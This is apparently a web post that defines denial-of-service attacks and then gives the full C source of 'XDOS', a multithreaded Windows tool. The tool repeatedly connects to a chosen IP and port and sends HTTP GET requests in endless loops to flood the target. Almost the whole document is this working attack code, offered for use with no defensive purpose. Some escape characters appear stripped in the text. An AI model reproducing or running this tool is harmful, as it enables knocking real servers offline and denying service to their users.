A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users.This is the source code of this simple HTTP DoS tool which is written in C
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
unsigned long thread = 0;
static int connect_tv(struct sockaddr_in *addr, int timeout);
static DWORD WINAPI dosmain(LPVOID p);
const int main(int argc, char *argv[])
{
if(argc != 4) {
puts("ttttXDOS - by Bull Moosen");
printf("Usage: %s [IP] [Port] [Threads]n",argv[0]);
return 1;
}
puts("Initiating xdos...n");
struct sockaddr_in saddr;
unsigned long tid;
int i;
memset(&saddr, '\0', sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(argv[1]);
saddr.sin_port = (short)htons(atoi(argv[2]));
for(i = 1; i <= atoi(argv[3]); i++) CreateThread(0,0,dosmain,(LPVOID)&saddr,0,&tid);
puts("Attack sequence engaged!n");
dosmain(&saddr);
return 0;
}
static int connect_tv(struct sockaddr_in *addr, int timeout)
{
int s;
unsigned long i;
fd_set wr_fds, err_fds;
struct timeval tv;
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == 0 || s == INVALID_SOCKET) return 0;
tv.tv_sec = timeout / 1000;
tv.tv_usec = 0;
i = 1;
ioctlsocket(s, FIONBIO, &i);
for (;;) {
i = connect(s, (struct sockaddr *)addr, sizeof(struct sockaddr_in));
if (i != SOCKET_ERROR)
goto exit_connected;
i = WSAGetLastError();
if (i == WSAENOBUFS) {
Sleep(50);
continue;
}
if (i == WSAEWOULDBLOCK)
break;
goto exit_err;
}
FD_ZERO(&wr_fds);
FD_SET(s, &wr_fds);
FD_ZERO(&err_fds);
FD_SET(s, &err_fds);
i = select(s+1, NULL, &wr_fds, &err_fds, &tv);
if (i == 0 || i == -1)
goto exit_err;
if (FD_ISSET(s, &err_fds) || !FD_ISSET(s, &wr_fds))
goto exit_err;
exit_connected:
i = 0;
ioctlsocket(s, FIONBIO, &i);
return s;
exit_err:
closesocket(s);
return 0;
}
static DWORD WINAPI dosmain(LPVOID p)
{
extern unsigned long thread;
thread++;
printf("Thread number %u initiated!n",thread);
struct sockaddr_in addr;
char Buffer[] =
"GET / HTTP/1.1rn"
"Host: 127.0.0.1rnrn";
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_BELOW_NORMAL);
int sock;
if (p == NULL) goto ex;
addr = *(struct sockaddr_in *)p;
for (;;) {
sock = connect_tv(&addr, 8);
if (sock != 0) {
send(sock,Buffer,strlen(Buffer),0);
Sleep(300);
closesocket(sock);
} else if(sock==SOCKET_ERROR) {
puts("Error: Socket Error.n");
ExitProcess(1);
}
}
ex: ExitThread(0);
return 0;
} 
